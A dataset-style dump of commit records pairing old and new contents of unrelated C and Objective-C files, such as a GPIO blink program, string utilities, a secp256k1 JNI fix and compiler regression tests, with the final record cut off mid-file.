{"commit":"805fc1080042295111421907863163f362b856d6","old_file":"IMU\/readImuDMP\/blinkio.c","new_file":"IMU\/readImuDMP\/blinkio.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <unistd.h>\n#include <errno.h>\n#include <signal.h>\n#include <stdlib.h>\n\n#include \"mraa.h\"\n\n#define thumb_f 8\n#define index_f 9\n#define middle_f 10\n#define ring_f 11\n#define pinky_f 12\n\nint running = 0;\n\nint\nmain(int argc, char** argv)\n{\n    mraa_result_t r = MRAA_SUCCESS;\n\n    mraa_init();\n    fprintf(stdout, \"MRAA Version: %s\\n\", mraa_get_version());\n\n    mraa_gpio_context gpio[5];\n    gpio[0] = mraa_gpio_init(thumb_f);\n    gpio[1] = mraa_gpio_init(index_f);\n    gpio[2] = mraa_gpio_init(middle_f);\n    gpio[3] = mraa_gpio_init(ring_f);\n    gpio[4] = mraa_gpio_init(pinky_f);\n\n\n\n    \/\/ set direction to OUT\n    r = mraa_gpio_dir(gpio[0], MRAA_GPIO_OUT);\n    r = mraa_gpio_dir(gpio[1], MRAA_GPIO_OUT);\n    r = mraa_gpio_dir(gpio[2], MRAA_GPIO_OUT);\n    r = mraa_gpio_dir(gpio[3], MRAA_GPIO_OUT);\n    r = mraa_gpio_dir(gpio[4], MRAA_GPIO_OUT);\n\n\n\n    while (running == 0) {\n        mraa_gpio_write(gpio[0], 0);\n        mraa_gpio_write(gpio[1], 0);\n        mraa_gpio_write(gpio[2], 0);\n        mraa_gpio_write(gpio[3], 0);\n        mraa_gpio_write(gpio[4], 0);\n        printf(\"off\\n\");\n\n        sleep(1);\n        mraa_gpio_write(gpio[0], 1);\n        mraa_gpio_write(gpio[1], 1);\n        mraa_gpio_write(gpio[2], 1);\n        mraa_gpio_write(gpio[3], 1);\n        mraa_gpio_write(gpio[4], 1);\n        printf(\"on\\n\");\n\n        sleep(1);\n    }\n\n    return r;\n}\n","subject":"ADD - Added functional GPIO code to IMU folder","message":"ADD - Added functional GPIO code to IMU folder\n","lang":"C","license":"mit","repos":"danielholanda\/Tactile-Glove,danielholanda\/Tactile-Glove,danielholanda\/Tactile-Glove"}
{"commit":"3340e66e82e74a89a5d81763b4ed7b21acb810ff","old_file":"PKRevealController\/PKAppDelegate.h","new_file":"PKRevealController\/PKAppDelegate.h","old_contents":"\/*\n \n PKRevealController - Copyright (C) 2012 Philip Kluz (Philip.Kluz@zuui.org)\n \n Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n \n *\/\n\n#import <UIKit\/UIKit.h>\n\n@class PKRevealController;\n\n@interface PKAppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (nonatomic, strong, readwrite) PKRevealController *revealController;\n@property (strong, nonatomic) UIWindow *window;\n\n@end\n","new_contents":"\/*\n \n PKRevealController - Copyright (C) 2012 Philip Kluz (Philip.Kluz@zuui.org)\n \n Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n \n *\/\n\n#import <UIKit\/UIKit.h>\n\n@class PKRevealController;\n\n@interface PKAppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (nonatomic, strong, readwrite) PKRevealController *revealController;\n@property (nonatomic, strong) UIWindow *window;\n\n@end\n","subject":"Use right order of nonatomic and strong","message":"Use right order of nonatomic and strong\n","lang":"C","license":"mit","repos":"xiaotaijun\/PKRevealController,ramoslin02\/PKRevealController,SuPair\/PKRevealController,wjszf\/PKRevealController,adonoho\/PKRevealController,BlessNeo\/PKRevealController,SummerHF\/PKRevealController,duanhjlt\/PKRevealController,AlanJN\/PKRevealController,pkluz\/PKRevealController,cnbin\/PKRevealController,andyFang1688\/PKRevealController,libiao88\/PKRevealController,wpostma\/PKRevealControllerWP,adonoho\/PKRevealController,policp\/PKRevealController,RyanTech\/PKRevealController,wayne798\/PKRevealController,leasual\/PKRevealController,emodeqidao\/PKRevealController,chengkaizone\/PKRevealController,adonoho\/PKRevealController,hanangellove\/PKRevealController,SanChain\/PKRevealController,AbooJan\/PKRevealController,chieryw\/PKRevealController,wubangjunjava\/PKRevealController,xingyuniu\/PKRevealController,nitxc\/PKRevealController,pengleelove\/PKRevealController"}
{"commit":"b194a61515f0585ef632e934f05d4b4bbac8b50d","old_file":"pgf+\/include\/gf\/stringutil.h","new_file":"pgf+\/include\/gf\/stringutil.h","old_contents":"","new_contents":"\/\/\n\/\/  string.h\n\/\/  pgf+\n\/\/\n\/\/  Created by Emil Djupfeldt on 2012-06-25.\n\/\/  Copyright (c) 2012 Chalmers University of Technology. All rights reserved.\n\/\/\n\n#ifndef pgf__string_h\n#define pgf__string_h\n\n#include <string>\n#include <vector>\n\nnamespace gf {\n    \n    static inline std::vector<std::string> split(const std::string& str, char ch) {\n        std::vector<std::string> ret;\n        size_t last;\n        size_t next;\n        \n        last = 0;\n        while (true) {\n            next = str.find(ch, last);\n            if (next == std::string::npos) {\n                ret.push_back(str.substr(last));\n                break;\n            }\n            \n            ret.push_back(str.substr(last, next - last));\n            last = next + 1;\n        }\n        \n        return ret;\n    }\n    \n    static inline bool isWhiteSpace(char ch) {\n        return ch == '\\r' || ch == '\\n' || ch == '\\t' || ch == ' ';\n    }\n    \n    static inline std::string trim(const std::string& str) {\n        size_t start;\n        size_t end;\n        \n        for (start = 0; start < str.size() ; start++) {\n            if (!isWhiteSpace(str.at(start))) {\n                break;\n            }\n        }\n        \n        for (end = str.size(); end > start; end--) {\n            if (!isWhiteSpace(str.at(end - 1))) {\n                end--;\n                break;\n            }\n        }\n                \n        \n        return str.substr(start, end - start);\n    }\n    \n}\n\n#endif\n","subject":"Add some string utility functions.","message":"Add some string utility functions.\n","lang":"C","license":"bsd-2-clause","repos":"egladil\/mscthesis,egladil\/mscthesis,egladil\/mscthesis"}
{"commit":"3f431df8ec46b86090ad59ee153872c45d4d429d","old_file":"usr.bin\/systat\/devs.h","new_file":"usr.bin\/systat\/devs.h","old_contents":"int dsinit(int, struct statinfo *, struct statinfo *, struct statinfo *);\nint dscmd(char *, char *, int, struct statinfo *);\n","new_contents":"\/*-\n * Copyright (c) 1998 David E. O'Brien\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t$Id$\n *\/\n\nint dsinit(int, struct statinfo *, struct statinfo *, struct statinfo *);\nint dscmd(char *, char *, int, struct statinfo *);\n","subject":"Add copyright and RCS\/CVS Id.","message":"Add copyright and RCS\/CVS Id.\n\nNoticed by:\tken\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"6df016fb205bec2c07872597ad126856b341cff7","old_file":"src\/java\/org_bitcoin_NativeSecp256k1.c","new_file":"src\/java\/org_bitcoin_NativeSecp256k1.c","old_contents":"#include \"org_bitcoin_NativeSecp256k1.h\"\n#include \"include\/secp256k1.h\"\n\nJNIEXPORT jint JNICALL Java_org_bitcoin_NativeSecp256k1_secp256k1_1ecdsa_1verify\n  (JNIEnv* env, jclass classObject, jobject byteBufferObject)\n{\n\tunsigned char* data = (unsigned char*) env->GetDirectBufferAddress(byteBufferObject);\n\tint sigLen = *((int*)(data + 32));\n\tint pubLen = *((int*)(data + 32 + 4));\n\n\treturn secp256k1_ecdsa_verify(data, 32, data+32+8, sigLen, data+32+8+sigLen, pubLen);\n}\n\nstatic void __javasecp256k1_attach(void) __attribute__((constructor));\nstatic void __javasecp256k1_detach(void) __attribute__((destructor));\n\nstatic void __javasecp256k1_attach(void) {\n\tsecp256k1_start();\n}\n\nstatic void __javasecp256k1_detach(void) {\n\tsecp256k1_stop();\n}\n","new_contents":"#include \"org_bitcoin_NativeSecp256k1.h\"\n#include \"include\/secp256k1.h\"\n\nJNIEXPORT jint JNICALL Java_org_bitcoin_NativeSecp256k1_secp256k1_1ecdsa_1verify\n  (JNIEnv* env, jclass classObject, jobject byteBufferObject)\n{\n\tunsigned char* data = (unsigned char*) (*env)->GetDirectBufferAddress(env, byteBufferObject);\n\tint sigLen = *((int*)(data + 32));\n\tint pubLen = *((int*)(data + 32 + 4));\n\n\treturn secp256k1_ecdsa_verify(data, 32, data+32+8, sigLen, data+32+8+sigLen, pubLen);\n}\n\nstatic void __javasecp256k1_attach(void) __attribute__((constructor));\nstatic void __javasecp256k1_detach(void) __attribute__((destructor));\n\nstatic void __javasecp256k1_attach(void) {\n\tsecp256k1_start();\n}\n\nstatic void __javasecp256k1_detach(void) {\n\tsecp256k1_stop();\n}\n","subject":"Fix JNI for C instead of C++","message":"Fix JNI for C instead of C++\n\n(because apparently there is a significant difference...)\n","lang":"C","license":"mit","repos":"ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,BWallet\/secp256k1,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,kleetus\/secp256k1,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,Gustav-Simonsson\/secp256k1,pmienk\/secp256k1,01BTC10\/secp256k1,pmienk\/secp256k1,voisine\/secp256k1,sipa\/secp256k1-zkp,01BTC10\/secp256k1,kleetus\/secp256k1,martindale\/secp256k1,chfast\/secp256k1,martindale\/secp256k1-zkp,Bitcoin-com\/BUcash,Justaphf\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,Justaphf\/BitcoinUnlimited,bitcoin\/secp256k1,BitcoinUnlimited\/BitcoinUnlimited,libbitcoin\/secp256k1,Justaphf\/BitcoinUnlimited,sipa\/secp256k1-zkp,krzysztofwos\/BitcoinUnlimited,ryancdotorg\/secp256k1,marcusdiaz\/BitcoinUnlimited,cddjr\/BitcoinUnlimited,shea256\/secp256k1-zkp,krzysztofwos\/BitcoinUnlimited,marcusdiaz\/BitcoinUnlimited,ryancdotorg\/secp256k1,libmetrocoin\/secp256k1,GSongHashrate\/secp256k1,cddjr\/BitcoinUnlimited,randy-waterhouse\/secp256k1,martindale\/secp256k1,bitcoin\/secp256k1,BitcoinUnlimited\/BitcoinUnlimited,afk11\/secp256k1,vlajos\/secp256k1,Gustav-Simonsson\/secp256k1,digitalbitbox\/secp256k1,bitcoin-core\/secp256k1,jonasschnelli\/secp256k1,sipa\/secp256k1-zkp,ChrisXin\/secp256k1,ryancdotorg\/secp256k1,01BTC10\/secp256k1,krzysztofwos\/BitcoinUnlimited,libmetrocoin\/secp256k1,cddjr\/BitcoinUnlimited,ChrisXin\/secp256k1,martindale\/secp256k1,Justaphf\/BitcoinUnlimited,randy-waterhouse\/secp256k1,digitalbitbox\/secp256k1,instagibbs\/secp256k1,evoskuil\/secp256k1,BWallet\/secp256k1,bitcoin\/secp256k1,Gustav-Simonsson\/secp256k1,Bitcoin-com\/BUcash,libbitcoin\/secp256k1,instagibbs\/secp256k1,luke-jr\/secp256k1,Justaphf\/BitcoinUnlimited,evoskuil\/secp256k1,Justaphf\/BitcoinUnlimited,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,pmienk\/secp256k1,sipa\/secp256k1,apoelstra\/secp256k1,evoskuil\/secp256k1,rustyrussell\/secp256k1,evoskuil\/secp256k1,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,martindale\/secp256k1-zkp,ChrisXin\/secp256k1,pmienk\/secp256k1,ElementsProject\/secp256k1-zkp,BWallet\/secp256k1,bitcoin-core\/secp256k1,BWallet\/secp256k1,Bitcoin-com\/BUcash,instagibbs\/secp256k1,ChrisXin\/secp256k1,krzysztofwos\/BitcoinUnlimited,afk11\/secp256k1,cddjr\/BitcoinUnlimited,peterdettman\/secp256k1,krzysztofwos\/BitcoinUnlimited,apoelstra\/secp256k1,libmetrocoin\/secp256k1,Bitcoin-com\/BUcash,sipa\/secp256k1,GSongHashrate\/secp256k1,ryancdotorg\/secp256k1,voisine\/secp256k1,chfast\/secp256k1,voisine\/secp256k1,BTCfork\/hardfork_prototype_1_mvf-bu,martindale\/secp256k1-zkp,sipa\/secp256k1-zkp,apoelstra\/secp256k1,bitcoin\/secp256k1,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,voisine\/secp256k1,libmetrocoin\/secp256k1,instagibbs\/secp256k1,evoskuil\/secp256k1,pmienk\/secp256k1,01BTC10\/secp256k1,libbitcoin\/secp256k1,afk11\/secp256k1,GSongHashrate\/secp256k1,sipa\/secp256k1,Gustav-Simonsson\/secp256k1,libbitcoin\/secp256k1,vlajos\/secp256k1,vlajos\/secp256k1,cddjr\/BitcoinUnlimited,sipa\/secp256k1,chfast\/secp256k1,GSongHashrate\/secp256k1,digitalbitbox\/secp256k1,jonasschnelli\/secp256k1,BTCfork\/hardfork_prototype_1_mvf-bu,apoelstra\/secp256k1,BTCfork\/hardfork_prototype_1_mvf-bu,shea256\/secp256k1-zkp,rustyrussell\/secp256k1,jonasschnelli\/secp256k1,ElementsProject\/secp256k1-zkp,chfast\/secp256k1,randy-waterhouse\/secp256k1,afk11\/secp256k1,BitcoinUnlimited\/BitcoinUnlimited,shea256\/secp256k1-zkp,martindale\/secp256k1,BTCfork\/hardfork_prototype_1_mvf-bu,peterdettman\/secp256k1,sipa\/secp256k1-zkp,jonasschnelli\/secp256k1,marcusdiaz\/BitcoinUnlimited,rustyrussell\/secp256k1,bitcoin\/secp256k1,kleetus\/secp256k1,shea256\/secp256k1-zkp,randy-waterhouse\/secp256k1,vlajos\/secp256k1,BitcoinUnlimited\/BitcoinUnlimited,apoelstra\/secp256k1,rustyrussell\/secp256k1,marcusdiaz\/BitcoinUnlimited,luke-jr\/secp256k1,martindale\/secp256k1-zkp,luke-jr\/secp256k1,BTCfork\/hardfork_prototype_1_mvf-bu,krzysztofwos\/BitcoinUnlimited,voisine\/secp256k1,kleetus\/secp256k1,marcusdiaz\/BitcoinUnlimited,kleetus\/secp256k1,digitalbitbox\/secp256k1,Bitcoin-com\/BUcash,BitcoinUnlimited\/BitcoinUnlimited,cddjr\/BitcoinUnlimited,Bitcoin-com\/BUcash,digitalbitbox\/secp256k1,BTCfork\/hardfork_prototype_1_mvf-bu,afk11\/secp256k1,marcusdiaz\/BitcoinUnlimited,libbitcoin\/secp256k1,instagibbs\/secp256k1,chfast\/secp256k1"}
{"commit":"a97b433223d22e3050a16d0473dc52d247b74dab","old_file":"include\/PixelProcessing.h","new_file":"include\/PixelProcessing.h","old_contents":"#pragma once\r\n\r\n#include \"MyImage.h\"\r\n#define MASK_SIZE 5\r\n\r\nclass Pixel {\r\n\r\nprivate:\r\n\tBYTE blue;\r\n\tBYTE green;\r\n\tBYTE red;\r\n\r\npublic:\r\n\tPixel(){\r\n\t\tblue;\r\n\t\tgreen;\r\n\t\tred;\r\n\t}\r\n\t~Pixel(){}\r\n\r\n\tBYTE GetBlue()\t{ return blue;\t}\r\n\tBYTE GetGreen() { return green;\t}\r\n\tBYTE GetRed()\t{ return red;\t}\r\n\tvoid Set(int _b, int _g, int _r)\r\n\t{\r\n\t\tblue = _b;\r\n\t\tgreen = _g;\r\n\t\tred = _r;\r\n\t}\r\n};\r\n\r\nclass CPixelProcessing\r\n{\r\npublic:\r\n\tCPixelProcessing(CMyImage*, int, BYTE, BYTE);\r\n\t~CPixelProcessing(void){}\r\n\r\n\tCMyImage* start(BYTE**);\r\n\r\nprivate:\r\n\tint nWidth;\r\n\tint nHeight;\r\n\tint nBitDepth;\r\n\tint nOutput;\r\n\tBYTE nHotVal;\r\n\tBYTE nDeadVal;\r\n\r\n\tCMyImage *pResult;\r\n\r\n\tBYTE** szResult;\r\n\tBYTE *temp;\r\n\r\n\tvoid _8bitImageCorrection(BYTE**);\r\n\tvoid _24bitImageCorrection(BYTE**);\r\n\r\n\tint GetMedian(vector<BYTE>);\r\n\tbool GetPixelState(int, int, int);\r\n\tbool GetPixelState(int, int, Pixel);\r\n};\r\n","new_contents":"#pragma once\r\n\r\n#include \"MyImage.h\"\r\n#define MASK_SIZE 3\r\n\r\nclass Pixel {\r\n\r\nprivate:\r\n\tBYTE blue;\r\n\tBYTE green;\r\n\tBYTE red;\r\n\r\npublic:\r\n\tPixel(){\r\n\t\tblue;\r\n\t\tgreen;\r\n\t\tred;\r\n\t}\r\n\t~Pixel(){}\r\n\r\n\tBYTE GetBlue()\t{ return blue;\t}\r\n\tBYTE GetGreen() { return green;\t}\r\n\tBYTE GetRed()\t{ return red;\t}\r\n\tvoid Set(int _b, int _g, int _r)\r\n\t{\r\n\t\tblue = _b;\r\n\t\tgreen = _g;\r\n\t\tred = _r;\r\n\t}\r\n};\r\n\r\nclass CPixelProcessing\r\n{\r\npublic:\r\n\tCPixelProcessing(CMyImage*, int, BYTE, BYTE);\r\n\t~CPixelProcessing(void){}\r\n\r\n\tCMyImage* start(BYTE**);\r\n\r\nprivate:\r\n\tint nWidth;\r\n\tint nHeight;\r\n\tint nBitDepth;\r\n\tint nOutput;\r\n\tBYTE nHotVal;\r\n\tBYTE nDeadVal;\r\n\r\n\tCMyImage *pResult;\r\n\r\n\tBYTE** szResult;\r\n\tBYTE *temp;\r\n\r\n\tvoid _8bitImageCorrection(BYTE**);\r\n\tvoid _24bitImageCorrection(BYTE**);\r\n\r\n\tint GetMedian(vector<BYTE>);\r\n\tbool GetPixelState(int, int, int);\r\n\tbool GetPixelState(int, int, Pixel);\r\n};\r\n","subject":"Change mask size from 5 to 3","message":"Change mask size from 5 to 3","lang":"C","license":"bsd-3-clause","repos":"mystesPF\/Defect-Pixel-Corrector,mystesPF\/Defect-Pixel-Corrector"}
{"commit":"7662ebe6de73bbada1f216590f3e8b15b496a46b","old_file":"Src\/lib\/utils\/swap.c","new_file":"Src\/lib\/utils\/swap.c","old_contents":"#include \"swap.h\"\n#include <string.h>\n\n\/* Swap generic function *\/\nvoid swap(void *vp1, void *vp2, int size)\n{\n  char buffer[size];\n  memcpy(buffer, vp1, size);\n  memcpy(vp1,vp2,size);\n  memcpy(vp2,buffer,size);\n}\n","new_contents":"#include \"swap.h\"\n#include <stdlib.h>\n#include <string.h>\n\n\/* Swap generic function *\/\nvoid swap(void *vp1, void *vp2, int size)\n{\n  char* buffer = (char*) malloc(size*sizeof(char));\n  memcpy(buffer, vp1, size);\n  memcpy(vp1,vp2,size);\n  memcpy(vp2,buffer,size);\n  free(buffer);\n}\n","subject":"Use malloc\/free as compile failed under MSVC. Ask rpmuller to check if okay.","message":"Use malloc\/free as compile failed under MSVC. Ask rpmuller to check if okay.\n\ngit-svn-id: 6e15fd90c9d760a7473dfa00402abf17076c345c@188 64417113-1622-0410-aef8-ef15d1a3721e\n","lang":"C","license":"bsd-3-clause","repos":"berquist\/PyQuante,berquist\/PyQuante,berquist\/PyQuante,berquist\/PyQuante,berquist\/PyQuante,berquist\/PyQuante"}
{"commit":"58825b976bd868c9006e12f39e350f1bd42e116d","old_file":"tests\/regression\/06-symbeq\/34-var_eq-exponential-context.c","new_file":"tests\/regression\/06-symbeq\/34-var_eq-exponential-context.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] var_eq\n\nvoid level0(int *p) {\n\n}\n\nvoid level1(int *p, int *q) {\n  level0(p);\n  level0(q);\n}\n\nvoid level2(int *p, int *q) {\n  level1(p, q);\n  level1(q, p);\n}\n\nvoid level3(int *p, int *q) {\n  level2(p, q);\n  level2(q, p);\n}\n\nvoid level4(int *p, int *q) {\n  level3(p, q);\n  level3(q, p);\n}\n\nvoid level5(int *p, int *q) {\n  level4(p, q);\n  level4(q, p);\n}\n\nvoid level6(int *p, int *q) {\n  level5(p, q);\n  level5(q, p);\n}\n\nvoid level7(int *p, int *q) {\n  level6(p, q);\n  level6(q, p);\n}\n\nvoid level8(int *p, int *q) {\n  level7(p, q);\n  level7(q, p);\n}\n\nvoid level9(int *p, int *q) {\n  level8(p, q);\n  level8(q, p);\n}\n\n\nint main() {\n  int i = 0;\n  int j = 0;\n  level9(&i, &j);\n  return 0;\n}","subject":"Add skipped test where var_eq gets exponentially many contexts","message":"Add skipped test where var_eq gets exponentially many contexts\n\nSee https:\/\/github.com\/goblint\/bench\/issues\/16#issuecomment-1100067978.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"610ff601af40fe5fb1978a7717eafe966b120dee","old_file":"include\/SafariServices\/SFSafariViewControllerDelegate.h","new_file":"include\/SafariServices\/SFSafariViewControllerDelegate.h","old_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) 2016 Microsoft Corporation. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n\n#pragma once\n\n#import <SafariServices\/SafariServicesExport.h>\n#import <Foundation\/NSObjCRuntime.h>\n\n@class SFSafariViewController;\n@class NSURL;\n@class NSString;\n@class NSArray;\n\n@protocol SFSafariViewControllerDelegate <NSObject>\n- (void)safariViewController:(SFSafariViewController*)controller didCompleteInitialLoad:(BOOL)didLoadSuccessfully;\n- (NSArray*)safariViewController:(SFSafariViewController*)controller activityItemsForURL:(NSURL*)URL title:(NSString*)title;\n- (void)safariViewControllerDidFinish:(SFSafariViewController*)controller;\n@end\n","new_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) 2016 Microsoft Corporation. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n\n#pragma once\n\n#import <SafariServices\/SafariServicesExport.h>\n#import <Foundation\/NSObject.h>\n\n@class SFSafariViewController;\n@class NSURL;\n@class NSString;\n@class NSArray;\n\n@protocol SFSafariViewControllerDelegate <NSObject>\n- (void)safariViewController:(SFSafariViewController*)controller didCompleteInitialLoad:(BOOL)didLoadSuccessfully;\n- (NSArray*)safariViewController:(SFSafariViewController*)controller activityItemsForURL:(NSURL*)URL title:(NSString*)title;\n- (void)safariViewControllerDidFinish:(SFSafariViewController*)controller;\n@end\n","subject":"Add missing NSObject protocol declaration.","message":"Add missing NSObject protocol declaration.\n","lang":"C","license":"mit","repos":"nathpete-msft\/WinObjC,MSFTFox\/WinObjC,Microsoft\/WinObjC,pradipd\/WinObjC,bbowman\/WinObjC,rajsesh-msft\/WinObjC,nathpete-msft\/WinObjC,MSFTFox\/WinObjC,rajsesh-msft\/WinObjC,yweijiang\/WinObjC,yweijiang\/WinObjC,ehren\/WinObjC,ehren\/WinObjC,yweijiang\/WinObjC,bbowman\/WinObjC,Microsoft\/WinObjC,autodesk-forks\/WinObjC,rajsesh-msft\/WinObjC,bbowman\/WinObjC,vkvenkat\/WinObjC,vkvenkat\/WinObjC,pradipd\/WinObjC,ehren\/WinObjC,vkvenkat\/WinObjC,nathpete-msft\/WinObjC,Microsoft\/WinObjC,Microsoft\/WinObjC,autodesk-forks\/WinObjC,yweijiang\/WinObjC,bbowman\/WinObjC,autodesk-forks\/WinObjC,bbowman\/WinObjC,ehren\/WinObjC,nathpete-msft\/WinObjC,pradipd\/WinObjC,MSFTFox\/WinObjC,nathpete-msft\/WinObjC,rajsesh-msft\/WinObjC,MSFTFox\/WinObjC,pradipd\/WinObjC,autodesk-forks\/WinObjC,ehren\/WinObjC,pradipd\/WinObjC,vkvenkat\/WinObjC"}
{"commit":"acc060f6ee491b1eed93b45df2f1b37fb710aa7a","old_file":"test\/CodeGen\/wchar-const.c","new_file":"test\/CodeGen\/wchar-const.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\n\/\/ This should pass for any endianness combination of host and target.\n\n\/\/ This bit is taken from Sema\/wchar.c so we can avoid the wchar.h include.\ntypedef __WCHAR_TYPE__ wchar_t;\n#if defined(_WIN32) || defined(_M_IX86) || defined(__CYGWIN__) \\\n  || defined(_M_X64) || defined(SHORT_WCHAR)\n  #define WCHAR_T_TYPE unsigned short\n#elif defined(__sun) || defined(__AuroraUX__)\n  #define WCHAR_T_TYPE long\n#else \/* Solaris or AuroraUX. *\/\n  #define WCHAR_T_TYPE int\n#endif\n\n\n\/\/ CHECK: @.str = private unnamed_addr constant [72 x i8] c\"\nextern void foo(const wchar_t* p);\nint main (int argc, const char * argv[])\n{\n foo(L\"This is some text\");\n return 0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - -triple i386-pc-win32 | FileCheck %s --check-prefix=WIN\n\/\/ RUN: %clang_cc1 -emit-llvm %s -o - -triple x86_64-apple-darwin | FileCheck %s --check-prefix=DAR\n\/\/ This should pass for any endianness combination of host and target.\n\n\/\/ This bit is taken from Sema\/wchar.c so we can avoid the wchar.h include.\ntypedef __WCHAR_TYPE__ wchar_t;\n#if defined(_WIN32) || defined(_M_IX86) || defined(__CYGWIN__) \\\n  || defined(_M_X64) || defined(SHORT_WCHAR)\n  #define WCHAR_T_TYPE unsigned short\n#elif defined(__sun) || defined(__AuroraUX__)\n  #define WCHAR_T_TYPE long\n#else \/* Solaris or AuroraUX. *\/\n  #define WCHAR_T_TYPE int\n#endif\n\n\n\/\/ CHECK-DAR: private unnamed_addr constant [72 x i8] c\"\n\/\/ 